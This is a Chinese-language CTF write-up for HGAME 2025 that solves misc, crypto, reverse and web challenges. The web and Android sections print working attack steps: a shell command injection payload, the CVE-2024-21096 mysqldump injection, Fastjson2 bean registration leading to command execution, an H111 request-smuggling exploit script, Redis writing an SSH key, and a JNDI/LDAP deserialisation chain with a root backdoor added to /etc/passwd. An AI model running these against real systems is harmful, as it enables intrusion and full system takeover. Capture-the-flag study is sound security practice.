Misc
Computer cleaner plus
有root,直接给ps权限秒了
Level729易画行
Sepolia Transaction Hash (Txhash) Details | Etherscan
ipfs desktop查看
ipfs://QmUusCYT8GTNgbDk5WAHZsHmHSxqcxuHov94inyFcpPqM6
Crypto
Ancient Recall
ai秒了
Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"]
wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of Wands"]
cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"]
swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords", "King of Swords"]
pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"]
Minor_Arcana = wands + cups + swords + pentacles
tarot = Major_Arcana + Minor_Arcana
def reverse_fortune_wheel(B):
b0, b1, b2, b3, b4 = B
numerator = b0 + b1 + b3 - b2 - b4
if numerator % 2 != 0:
raise ValueError("Cannot reverse, numerator is odd")
a1 = numerator // 2
a0 = b0 - a1
a2 = b1 - a1
a3 = b2 - a2
a4 = b3 - a3
if a4 + a0 != b4:
raise ValueError("Validation failed in reverse step")
return [a0, a1, a2, a3, a4]
YOUR_final_Value = [
2532951952066291774890498369114195917240794704918210520571067085311474675019,
2532951952066291774890327666074100357898023013105443178881294700381509795270,
2532951952066291774890554459287276604903130315859258544173068376967072335730,
2532951952066291774890865328241532885391510162611534514014409174284299139015,
2532951952066291774890830662608134156017946376309989934175833913921142609334
]
current = YOUR_final_Value.copy()
for _ in range(250):
current = reverse_fortune_wheel(current)
initial_values = current
YOUR_initial_FATE = []
for v in initial_values:
reversed_k = v ^ (-1)
if 0 <= reversed_k < len(Major_Arcana):
YOUR_initial_FATE.append(f"re-{tarot[reversed_k]}")
elif 0 <= v < len(tarot):
YOUR_initial_FATE.append(tarot[v])
else:
raise ValueError(f"Invalid value: {v}")
flag = "hgame{" + "&".join([name.replace(" ", "_") for name in YOUR_initial_FATE]) + "}"
print(flag)
hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups}
re
from idaapi import*
for i in range(36):
print(hex(get_byte(0x1400BA000+i)),end=",")
0x23,0xea,0x50,0x30,0x0,0x4c,0x51,0x47,0xee,0x9c,0x76,0x2b,0xd5,0xe6,0x94,0x17,0xed,0x2b,0xe4,0xb3,0xcb,0x36,0xd5,0x61,0xc0,0xc2,0xa0,0x7c,0xfe,0x67,0xd7,0x5e,0xaf,0xe0,0x79,0xc5,
97A25FB5h, 0E1756DBAh, 0A143464Ah, 5A8F284Fh
Mysterious signals
安卓配个代理抓个包,发现sign校验,读文件
POST /flag HTTP/1.1
sign: 41dce78c58dacf99cbbc2f1c20135745
Content-Type: application/json; charset=utf-8
Content-Length: 39
Host: node1.hgame.vidar.club:30778
Connection: close
Accept-Encoding: gzip, deflate, br
User-Agent: okhttp/3.14.9
{"username":"admin","filename":"hello"}
路由限制为/flag
404页面
main_receive函数处理http报文信息
验证username为admin
处理sign
校验sign,通过会读文件,未通过返回Sign Error
解密sign和username+filename对比
读filename文件
serve实现一个校验成功读文件的功能,若能伪造sgin值可以实现任意读文件的功能
在apk中b函数实现对username+filename传参计算sign值
b、c为so动态注册函数
我们只需要利用该函数生成sign即可
在so中发现会对Frida检测,且更改密钥
patch成原密钥即可
然后替换apk中so文件,利用apktool重新打包签名
想直接在安卓中替换so,死活找不到android:extractNativeLibs设置是flase,不会直接解压so,而是直接从 APK 文件中内存映射加载so
#解包
apktool.bat d app-release.apk
#替换lib中so文件
#需要改一下配置,要不可能安装不上
# apktool.yum中targetSdkVersion改为26
# AndroidManifest.xml中extractNativeLibs改为true
#重新打包
apktool.bat b .\app-release
#生成签名文件
keytool -genkey -v -keystore my-release-key.keystore -alias my-key-alias -keyalg RSA -keysize 2048 -validity 30000
#签名
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore .\app-release.apk my-key-alias
直接hook
Java.perform(function() {
var SSSign = Java.use('com.nobody.andsign.SSSign');
// 主动调用示例
var instance = SSSign.$new();
// 调用 c 方法并打印结果
var cArgs = ["104406435e045957", "035e0f545e045957", "165e045f"];
cArgs.forEach(arg => {
try {
var result = instance.c(arg);
console.log(`[主动调用] c('${arg}') => ${result}`);
} catch (e) {
console.error(`调用 c('${arg}') 失败: ${e}`);
}
});
// 调用 b 方法并打印结果
var sampleInput = "usernamefilename";
try {
var bResult = instance.b(sampleInput);
console.log(`[主动调用] b('${sampleInput}') => ${bResult}`);
} catch (e) {
console.error(`调用 b('${sampleInput}') 失败: ${e}`);
}
});
读passwd
在对文件名处理处有提示,不过有点特殊,ida逆的字符串进入是反的,实际是h1g1a1m1e1
生成sign
发包拿flag
Web
Level 21096 HoneyPot
命令执行点
sanitizeInput过滤
func sanitizeInput(input string) string {
reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\` + "`" + `]`)
return reg.ReplaceAllString(input, "")
}
RemotePassword没有过滤
对remote_password
构造1; /writeflag;#
传参
Level 21096 HoneyPot_Revenge
跟着出题人的博客复现
[CVE-2024-21096 mysqldump命令注入漏洞简析 | Ec3o](https://tech.ec3o.fun/2024/10/25/Web-Vulnerability Reproduction/CVE-2024-21096/)
改mysql_version.h.in文件
会执行/writeflag
/* Copyright Abandoned 1996,1999 TCX DataKonsult AB & Monty Program KB
& Detron HB, 1996, 1999-2004, 2007 MySQL AB.
This file is public domain and comes with NO WARRANTY of any kind
*/
/* Version numbers for protocol & mysqld */
#ifndef _mysql_version_h
#define _mysql_version_h
#define PROTOCOL_VERSION @PROTOCOL_VERSION@
#define MYSQL_SERVER_VERSION "8.0.0-injection-test\n\\! /writeflag"
#define MYSQL_BASE_VERSION "mysqld-8.0.34"
#define MYSQL_SERVER_SUFFIX_DEF "@MYSQL_SERVER_SUFFIX@"
#define MYSQL_VERSION_ID @MYSQL_VERSION_ID@
#define MYSQL_PORT @MYSQL_TCP_PORT@
#define MYSQL_ADMIN_PORT @MYSQL_ADMIN_TCP_PORT@
#define MYSQL_PORT_DEFAULT @MYSQL_TCP_PORT_DEFAULT@
#define MYSQL_UNIX_ADDR "@MYSQL_UNIX_ADDR@"
#define MYSQL_CONFIG_NAME "my"
#define MYSQL_PERSIST_CONFIG_NAME "mysqld-auto"
#define MYSQL_COMPILATION_COMMENT "@COMPILATION_COMMENT@"
#define MYSQL_COMPILATION_COMMENT_SERVER "@COMPILATION_COMMENT_SERVER@"
#define LIBMYSQL_VERSION "8.0.34-custom"
#define LIBMYSQL_VERSION_ID @MYSQL_VERSION_ID@
#ifndef LICENSE
#define LICENSE GPL
#endif /* LICENSE */
#endif /* _mysql_version_h */
值得注意的是,需要将localhost改为%才能远程连接
update user set host = '%' where user = 'root';
访问/flag路由
Level 60 SignInJava
仅开放/api/gateway
一个路由接口,POST方法接受beanName
、methodName
和params
三个参数,其中beanName
对flag字符进行大小写过滤
package icu.Liki4.signin.controller;
import cn.hutool.core.util.StrUtil;
import com.alibaba.fastjson2.JSON;
import icu.Liki4.signin.base.BaseResponse;
import icu.Liki4.signin.util.InvokeUtils;
import jakarta.servlet.http.HttpServletRequest;
import java.util.Map;
import java.util.Objects;
import org.apache.commons.io.IOUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping({"/api"})
public class APIGatewayController {
public APIGatewayController() {
}
@RequestMapping(
value = {"/gateway"},
method = {RequestMethod.POST}
)
@ResponseBody
public BaseResponse doPost(HttpServletRequest request) throws Exception {
try {
String body = IOUtils.toString(request.getReader());
Map<String, Object> map = (Map)JSON.parseObject(body, Map.class);
String beanName = (String)map.get("beanName");
String methodName = (String)map.get("methodName");
Map<String, Object> params = (Map)map.get("params");
if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence[]{"flag"})) {
return new BaseResponse(403, "flagTestService offline", (Object)null);
} else {
Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
return new BaseResponse(200, (String)null, result);
}
} catch (Exception var8) {
Exception e = var8;
return new BaseResponse(500, ((Throwable)Objects.requireNonNullElse(e.getCause(), e)).getMessage(), (Object)null);
}
}
}
对于invokeBeanMethod的用法
注意bean的命名规则,
@Service
会使用默认命名(首字母小写)
由于对beanName过滤flag
无法使用FlagTestService类,从而无法调用catFlag方法
只好寻找bean可使用的其他类,hutool比较特别
其中有命令执行的方法
不过该类似乎没有被注册到bean
好在hutool里有注册bean的方法
autoTypeFilter限制了前两级包的反序列化,cn.hutool仍可用
@Lazy
private static final Filter autoTypeFilter = JSONReader.autoTypeFilter((String[])((Set)Arrays.stream(SpringContextHolder.getApplicationContext().getBeanDefinitionNames()).map((name) -> {
int secondDotIndex = name.indexOf(46, name.indexOf(46) + 1);
return secondDotIndex != -1 ? name.substring(0, secondDotIndex + 1) : null;
}).filter(Objects::nonNull).collect(Collectors.toSet())).toArray(new String[0]));
关于autoType文章 - Fastjson反序列化漏洞深度解析与利用和修复 - 先知社区
Fastjson2 似乎仍可通过@type
字段指定任意类进行反序列化
调用cn.hutool.extra.spring.SpringUtil中registerBean方法,注册cn.hutool.core.util.RuntimeUtil入bean,名为cmd
{
"beanName": "cn.hutool.extra.spring.SpringUtil",
"methodName": "registerBean",
"params": {
"arg0":"cmd",
"arg1":{"@type":"cn.hutool.core.util.RuntimeUtil"}
}
}
利用注册好的cmd(RuntimeUtil类),调用execForLines方法,执行/readflag
{
"beanName": "cmd",
"methodName": "execForLines",
"params": {
"arg0":["/readflag"]
}
}
Level 111 不存在的车厢
前端代理服务器,对外监听端口8081,由此传入请求转发到后端服务器(8080),接口限制为GET请求,否则405
func main() {
pool = sync.Pool{
New: func() interface{} {
for {
conn, err := net.Dial("tcp", "127.0.0.1:8080")
if err != nil {
fmt.Println("error dialing to backend server")
time.Sleep(time.Millisecond * 300)
continue
}
return conn
}
},
}
http.ListenAndServe(":8081", &proxyHandler{})
}
而后端对于/flag
路由限制其为POST请求,否则StatusForbidden
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Welcome to HGAME 2025"))
})
mux.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
w.WriteHeader(http.StatusForbidden)
return
}
//flag := os.Getenv("FLAG")
flag := "FLAG"
w.Write([]byte(flag))
})
由此,无法直接通过前端GET /flag
拿到flag
可以利用h111协议绕过
func serverH111(conn net.Conn) {
defer conn.Close()
for {
req, err := h111.ReadH111Request(conn)
if err != nil {
log.Println(err)
return
}
recorder := httptest.NewRecorder()
mux.ServeHTTP(recorder, req)
resp := recorder.Result()
log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
err = h111.WriteH111Response(conn, resp)
if err != nil {
log.Println(err)
return
}
}
}
保证外层请求为GET,构造一个带body的GET,但http协议的Content-Length
字段会标记其body长度
好在h111协议中对于bodyLength声明为uint16,超过该类型最大值(65535)可导致溢出
下图为当body大小为65536字节时,溢出为0,此时body会有概率进入下一个serverH111轮回,并且不受前端GET方法限制,倘若构造一个H111的POST /flag
,即可getflag
body大小不一定要65536,保证溢出对齐即可
例如,构造一个65537大小的body,bodyLength溢出为1,首位\x00字节为第一次GET的负载,剩下进入下一轮回
post_h111 = ( b"\x00\x00\x04" + b"POST" + # methodLength=4, method=POST b"\x00\x05" + b"/flag" + # uriLength=5, uri=/flag b"\x00\x00" + # headerCount=0 b"\x00\x00" + # bodyLength=0 b"\00"*65519 )
exp
import requests
# H111协议的POST /flag请求
post_h111 = (
b"\x00\x04" + b"POST" + # methodLength=4, method=POST
b"\x00\x05" + b"/flag" + # uriLength=5, uri=/flag
b"\x00\x00" + # headerCount=0
b"\x00\x00" + # bodyLength=0
b"\00"*65519
)
url = "http://node1.hgame.vidar.club:30777/"
# 第一个请求,body包含POST请求的H111数据
response1 = requests.get(
url,
data=post_h111,
headers={"Content-Type": "application/octet-stream"}
)
# 发送第二个请求,捕获残留的响应
response2 = requests.get(url)
print(response2.text)
Level 257 日落的紫罗兰
redis发现可以直连
redis-cli -h node1.hgame.vidar.club -p 32748
将公钥写入redis
#生成ssh公钥
ssh-keygen -t rsa
#防止乱码
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > key.txt
#写入redis
cat key.txt | redis-cli -h node1.hgame.vidar.club -p 32748 -x set ssh_key
root目录没有权限
node1.hgame.vidar.club:32748> config set dir /root/.ssh
(error) ERR Changing directory: Permission denied
试了给的用户,只有mysid用户有权限
node1.hgame.vidar.club:30425> config set dir /home/mysid/.ssh
OK
node1.hgame.vidar.club:30425> config set dbfilename authorized_keys
OK
node1.hgame.vidar.club:30425> save
OK
ssh连接
出现Permissions 0777 for ‘id_rsa’ are too open.为id_rsa权限过大,需降低权限chmod 400 id_rsa
ssh -i id_rsa mysid@node1.hgame.vidar.club -p 30621
没有权限拿flag,需要进一步提权
ps发现有个app.jar
利用xshell给源码搞出来
或者利用scp
scp -i id_rsa -P 30112 mysid@node1.hgame.vidar.club:/app/app.jar ./
hgame.mysid.violet.controller.MainController
package hgame.mysid.violet.controller;
import hgame.mysid.violet.JNDIutil.LdapLookupService;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class MainController {
@Autowired
private LdapLookupService ldapLookupService;
public MainController() {
}
@GetMapping({"/"})
public String index() {
return "Under build...";
}
@PostMapping({"/search"})
public ResponseEntity<List<String>> lookupLdap(@RequestParam String baseDN, @RequestParam String filter) {
List<String> results = this.ldapLookupService.search(baseDN, filter);
return results.isEmpty() ? ResponseEntity.noContent().build() : ResponseEntity.ok(results);
}
}
hgame.mysid.violet.JNDIutil
search为漏洞点,需要写成a/b
package hgame.mysid.violet.JNDIutil;
import java.util.ArrayList;
import java.util.List;
import java.util.Properties;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.SearchControls;
import javax.naming.directory.SearchResult;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
@Service
public class LdapLookupService {
@Autowired
private LdapConfig ldapConfig;
public LdapLookupService() {
}
public List<String> search(String baseDN, String filter) {
List<String> results = new ArrayList();
DirContext ctx = null;
try {
Properties env = new Properties();
env.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
env.setProperty("java.naming.provider.url", this.ldapConfig.getLdapUrl());
ctx = new InitialDirContext(env);
NamingEnumeration<SearchResult> resultsEnumeration = ctx.search(baseDN, filter, (SearchControls)null);
while(resultsEnumeration.hasMore()) {
SearchResult result = (SearchResult)resultsEnumeration.next();
results.add(result.getNameInNamespace());
}
} catch (NamingException var16) {
NamingException e = var16;
e.printStackTrace();
} finally {
if (ctx != null) {
try {
ctx.close();
} catch (NamingException var15) {
NamingException e = var15;
e.printStackTrace();
}
}
}
return results;
}
}
application.properties
连接ldap 389端口
ldap.url=ldap://127.0.0.1:389
ldap.baseDN=dc=violet,dc=hgame
search的jndi注入漏洞
文章 - 从search入手的jndi注入技术学习 - 先知社区
只有jackson依赖,打jackson的原生链
寻找靶机上的java环境
find / -name java
利用X1r0z/JNDIMap at v0.0.1构造LDAP恶意服务器,似乎很多命令不能执行成功,chmod 777 /etc/passwd
base64中
+
和/
替换为-
和_
/usr/local/openjdk-8/bin/java -jar JNDIMap-0.0.1.jar -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9ldGMvcGFzc3dk"
#另起终端
curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search
提权
echo 'n0o0b::0:0::/root:/bin/bash' >> /etc/passwd
su n0o0b